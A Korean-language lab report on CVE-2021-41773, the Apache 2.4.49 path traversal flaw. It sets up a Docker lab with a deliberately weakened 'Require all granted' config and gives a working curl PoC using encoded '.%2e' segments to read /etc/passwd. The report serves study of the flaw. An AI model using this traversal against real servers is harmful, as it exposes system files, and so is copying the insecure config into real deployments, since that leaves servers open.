CVE-2021-41773 – Apache Path Traversal 보고서

---

요약

• Apache HTTP Server 2.4.49 버전에서 발견된 취약점으로, 웹 서버 설정에 따라 Path Traversal 공격을 통해 시스템의 민감한 파일을 노출할 수 있음
• Path Traversal: 공격자가 ../ 을 포함한 경로를 사용하여 웹 루트 밖의 파일에 접근할 수 있음

---

정보

• 취약점 이름: CVE-2021-41773
• 영향받는 버전: Apache HTTP Server 2.4.49
• 취약점 유형: Path Traversal
• 공식 패치 여부: 2.4.50 이상에서 패치됨

---

실습 환경 구성

• Base Image : 'httpd:2.4.49' (DockerHub)
• 컨테이너 구동 방식 : Dockerfile + docker-compose.yml
• 실행 포트 : 8080 → 컨테이너의 80포트로 연결
• Apache 설정 변경 : 'Require all granted'로 수정 (Path Traversal 가능하게 함)

---

환경 실행 방법

• git clone https://github.com/JIYUN02/cve-2021-41773.git
• cd cve-2021-41773
• docker-compose up --build

---

취약점 PoC

• curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

---

상세 과정

1. 과제를 위한 디렉터리 실행

2. Dockerfile 제작

-> Base Image: httpd:2.4.49 (취약점이 존재하는 버전)

-> 'sed -i 's/Require all denied/Require all granted/g' : Path Traversal 허용 및 외부 접근

3. docker-compose.yml

-> Apache 정의

-> 8080 포트를 컨테이너의 80 포트로 매핑

4. docker 실행

   

5. PoC 실행

   

-> curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

-> /etc/passwd는 민감한 정보를 담고 있음, %2e는 ..의 인코딩된 단어이며 이는 상위 디렉터리로 이동하는 명령

-> 경로를 조작하여 서버가 /etc/passwd에 접근하고 이를 출력하도록 함

7. 실행 결과

-> 상기 이미지와 같이 민감한 디렉터리에 접근 가능

---

Fork를 통해 접근 가능한 레포지토리 URL

https://github.com/JIYUN02/cve-2021-41773

-> 커밋 이력 존재